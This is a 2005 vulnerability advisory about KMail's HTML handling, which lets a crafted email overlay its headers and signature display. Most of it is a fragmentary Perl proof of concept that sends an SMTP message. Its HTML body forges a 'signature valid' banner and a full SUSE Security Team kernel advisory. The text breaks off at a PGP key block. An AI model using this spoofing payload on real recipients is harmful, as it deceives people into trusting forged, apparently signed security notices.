Kmail HTML Support Allows Spoofing of Emails' Content
11 Apr. 2005
Summary
KMail is "a fully-featured email client that fits nicely into the K Desktop Environment, KDE".
A vulnerability in the way KMail handles HTML based emails allows remote attackers to spoof emails' content by placing their content over the email frame thus disguising and replacing the actual content of the email.
Credit:
The information has been provided by Noam Rathaus.
Vulnerable Systems:
* KMail version 1.7.1 provided with KDE 3.3.2
A malicious person can craft an HTML email that would look as if it was:
1) Sent from someone else - minor impact
2) Signed/Encrypted while it is actually an ordinary HTML file - major impact
The HTML email can also overlap sections of the email that might be used to identify the sender/date/etc without requiring to change any of the actual information of the email... i.e. you don't need to change the "MAIL FROM:" / "FROM: " entry to overwrite it via the HTML email.
Perquisites:
1) HTML needs to be enabled - frequently people just enable HTML support
2) The color scheme needs to be guessed, if it has been changed from the default - not frequent
Don't affect the vulnerability:
1) Adding the HTML warning tab on the left side of the email, just because its there, you don't think it's a spoofed email
print "RCPT TO\n";
print $remote "RCPT TO: testy\@whoever.com\r\n";
waitfor($remote, "250 ");
print "DATA\n";
print $remote "DATA\r\n";
waitfor($remote, "354 ");
print $remote <<_EOF_;
From: newone\@whoever.com\r
Subject: Test Case\r
To: oldone\@whoever.com\r
Date: Mon, 27 Dec 2004 01:43:24 -0600\r
MIME-version: 1.0\r
Content-type: text/html; charset="utf8"\r
Content-transfer-encoding: 8bit\r
\r
<HTML>\r
<BODY>\r
<BR>\r
<SPAN STYLE="font-family: arial; position: absolute; left: 0px; top: 0px; background: white; width: 99%; margin-left: 10px; margin-top: 10px;">\r
<TABLE STYLE="width: 100%; background: white; border: 1px solid; margin-left: auto; margin-right: auto;" CELLSPACING="0" CELLPADDING="2">\r
<TR>\r
<TD COLSPAN="2" STYLE="background: #ffdd76;"><B>Microsoft Alert</B></TD>\r
</TR>\r
<TR STYLE="background: #eeeee6;">\r
<TD WIDTH="1"><B>From:</B></TD><TD><A HREF="mailto:suse\@suse.com">suse\@suse.com</A></TD>\r
</TR>\r
<TR STYLE="background: #eeeee6;">\r
<TD><B>To:</B></TD><TD><A HREF="mailto:test\@whoever.com">test\@whoever.com</A></TD>\r
</TR>\r
<TR STYLE="background: #eeeee6;">\r
<TD><B>Date:</B></TD><TD>2004-12-27 09:43</TD>\r
</TR>\r
</TABLE>\r
<BR>\r
<TABLE STYLE="width: 99%; margin-left: 10px; background: white; border: 1px solid; border-color: #40FF40; margin-left: auto; margin-right: auto;" CELLSPACING="0" CELLPADDING="2">
<TR>\r
<TD STYLE="background: #40FF40;"><B>Message was signed by <A HREF="mailto:security\@suse.de">SuSE Security Team <security\@suse.de></A> (Key ID: 0x3D25D3D9).<BR>
The signature is valid and the key is fully trusted.</B></TD>\r
</TR>\r
<TR>
<TD STYLE="background: #e8ffe8;">
<PRE>______________________________________________________________________________
SUSE Security Announcement
Package: kernel
Announcement-ID: SUSE-SA:2004:046
Date: Wednesday, Dec 22nd 2004 16:00 MEST
Affected products: 9.0 / AMD64
SUSE Linux Enterprise Server 8 / AMD64
Vulnerability Type: local privilege escalation
Severity (1-10): 8
SUSE default package: yes
Cross References: CAN-2004-1144
Content of this advisory:
1) security vulnerability resolved:
- local root exploit in 2.4 AMD64 kernel
problem description
2) solution/workaround
3) special instructions and notes
4) package location and checksums
5) pending vulnerabilities, solutions, workarounds:
- see SUSE Security Summary
6) standard appendix (further information)
Due to missing argument checking in the 32 bit compatibility
system call handler in the 2.4 Linux Kernel on the AMD64 platform
a local attacker can gain root access using a simple program.
This issue was found and fixed by Petr Vandrovec and has been
assigned the Mitre CVE ID CAN-2004-1144.
This is a 2.4 Kernel and AMD64 specific problem, other
architectures and the 2.6 Kernel are not affected.
2) solution/workaround
There is no workaround, please install the supplied kernels.
3) special instructions and notes
SPECIAL INSTALL INSTRUCTIONS:
==============================
The following paragraphs will guide you through the installation
process in a step-by-step fashion. The character sequence "****"
marks the beginning of a new paragraph. In some cases, the steps
outlined in a particular paragraph may or may not be applicable
to your situation.
Therefore, please make sure to read through all of the steps below
before attempting any of these procedures.
All of the commands that need to be executed are required to be
run as the superuser (root). Each step relies on the steps before
it to complete successfully.
**** Step 1: Determine the needed kernel type
Please use the following command to find the kernel type that is
installed on your system:
rpm -qf /boot/vmlinuz
Following are the possible kernel types (disregard the version and
build number following the name separated by the "-" character)
k_deflt # default kernel, good for most systems.
k_i386 # kernel for older processors and chip sets
k_athlon # kernel made specifically for AMD Athlon(tm) family processors
k_psmp # kernel for Pentium-I dual processor systems
k_smp # kernel for SMP systems (Pentium-II and above)
k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM
kernel-64k-pagesize
kernel-bigsmp
kernel-default
kernel-smp
**** Step 2: Download the package for your system
Please download the kernel RPM package for your distribution with the
name as indicated by Step 1. The list of all kernel rpm packages is
appended below. Note: The kernel-source package does not
contain a binary kernel in bootable form. Instead, it contains the
sources that the binary kernel rpm packages are created from. It can be
used by administrators who have decided to build their own kernel.
Since the kernel-source.rpm is an installable (compiled) package that
contains sources for the linux kernel, it is not the source RPM for
the kernel RPM binary packages.
The kernel RPM binary packages for the distributions can be found at the
locations below ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64.
After downloading the kernel RPM package for your system, you should
verify the authenticity of the kernel rpm package using the methods as
listed in section 3) of each SUSE Security Announcement.
**** Step 3: Installing your kernel rpm package
Install the rpm package that you have downloaded in Steps 3 or 4 with
the command
rpm -Uhv --nodeps --force <K_FILE.RPM>
where <K_FILE.RPM> is the name of the rpm package that you downloaded.
Warning: After performing this step, your system will likely not be
able to boot if the following steps have not been fully
followed.
If you run SUSE LINUX 8.1 and haven't applied the kernel update
(SUSE-SA:2003:034), AND you are using the freeswan package, you also
need to update the freeswan rpm as a dependency as offered
by YOU (YaST Online Update). The package can be downloaded from
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/
**** Step 4: configuring and creating the initrd
The initrd is a ramdisk that is loaded into the memory of your
system together with the kernel boot image by the bootloader. The
kernel uses the content of this ramdisk to execute commands that must
be run before the kernel can mount its actual root filesystem. It is
usually used to initialize SCSI drivers or NIC drivers for diskless
operation.
The variable INITRD_MODULES in /etc/sysconfig/kernel determines
which kernel modules will be loaded in the initrd before the kernel
has mounted its actual root filesystem. The variable should contain
your SCSI adapter (if any) or filesystem driver modules.
With the installation of the new kernel, the initrd has to be
re-packed with the update kernel modules. Please run the command
mk_initrd
as root to create a new init ramdisk (initrd) for your system.
On SuSE Linux 8.1 and later, this is done automatically when the
RPM is installed.
**** Step 5: bootloader
If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
are two options:
Depending on your software configuration, you have either the lilo
bootloader or the grub bootloader installed and initialized on your
system.
The grub bootloader does not require any further actions to be
performed after the new kernel images have been moved in place by the
rpm Update command.
If you have a lilo bootloader installed and initialized, then the lilo
program must be run as root. Use the command
grep LOADER_TYPE /etc/sysconfig/bootloader
to find out which boot loader is configured. If it is lilo, then you
must run the lilo command as root. If grub is listed, then your system
does not require any bootloader initialization.
Warning: An improperly installed bootloader may render your system
unbootable.
**** Step 6: reboot
If all of the steps above have been successfully completed on your
system, then the new kernel including the kernel modules and the
initrd should be ready to boot. The system needs to be rebooted for
the changes to become active. Please make sure that all steps have
completed, then reboot using the command
shutdown -r now
or
init 6
Your system should now shut down and reboot with the new kernel.
4) package location and checksums
Please download the update package for your distribution and verify its
integrity by the methods listed in section 3) of this announcement.
Then, install the package using the command "rpm -Fhv file.rpm" to apply
the update.
Our maintenance customers are being notified individually. The packages
are being offered to install from the maintenance web.
6) standard appendix: authenticity verification, additional information
- Package authenticity verification:
SUSE update packages are available on many mirror ftp servers all over
the world. While this service is being considered valuable and important
to the free and open source software community, many users wish to be
sure about the origin of the package and its content before installing
the package. There are two verification methods that can be used
independently from each other to prove the authenticity of a downloaded
file or rpm package:
1) md5sums as provided in the (cryptographically signed) announcement.
2) using the internal gpg signatures of the rpm package.
1) execute the command
md5sum <name-of-the-file.rpm>
after you downloaded the file from a SUSE ftp server or its mirrors.
Then, compare the resulting md5sum with the one that is listed in the
announcement. Since the announcement containing the checksums is
cryptographically signed (usually using the key security\@suse.de),
the checksums show proof of the authenticity of the package.
We disrecommend to subscribe to security lists which cause the
email message containing the announcement to be modified so that
the signature does not match after transport through the mailing
list software.
Downsides: You must be able to verify the authenticity of the
announcement in the first place. If RPM packages are being rebuilt
and a new version of a package is published on the ftp server, all
md5 sums for the files are useless.
2) rpm package signatures provide an easy way to verify the authenticity
of an rpm package. Use the command
rpm -v --checksig <file.rpm>
to verify the signature of the package, where <file.rpm> is the
filename of the rpm package that you have downloaded. Of course,
package authenticity verification can only target an un-installed rpm
package file.
Prerequisites:
a) gpg is installed
b) The package is signed using a certain key. The public part of this
key must be installed by the gpg program in the directory
~/.gnupg/ under the user's home directory who performs the
signature verification (usually root). You can import the key
that is used by SUSE in rpm packages for SUSE Linux by saving
this announcement to a file ("announcement.txt") and
running the command (do "su -" to be root):
gpg --batch; gpg < announcement.txt | gpg --import
SUSE Linux distributions version 7.1 and thereafter install the
key "build\@suse.de" upon installation or upgrade, provided that
the package gpg is installed. The file containing the public key
is placed at the top-level directory of the first CD (pubring.gpg)
and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .
- SUSE runs two security mailing lists to which any interested party may
subscribe:
suse-security\@suse.com
- general/linux/SUSE security discussion.
All SUSE security announcements are sent to this list.
To subscribe, send an email to
<suse-security-subscribe\@suse.com>.
suse-security-announce\@suse.com
- SUSE's announce-only mailing list.
Only SUSE's security announcements are sent to this list.
To subscribe, send an email to
<suse-security-announce-subscribe\@suse.com>.
For general information or the frequently asked questions (FAQ)
send mail to:
<suse-security-info\@suse.com> or
<suse-security-faq\@suse.com> respectively.
=====================================================================
SUSE's security contact is <security\@suse.com> or <security\@suse.de>.
The <security\@suse.de> public key is listed below.
=====================================================================
______________________________________________________________________________
The information in this advisory may be distributed or reproduced,
provided that the advisory is not modified in any way. In particular,
it is desired that the clear-text signature shows proof of the
authenticity of the text.
SUSE Linux AG makes no warranties of any kind whatsoever with respect
to the information contained in this security advisory.
Type Bits/KeyID Date User ID
pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security\@suse.de>
pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build\@suse.de>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.7 (GNU/Linux)
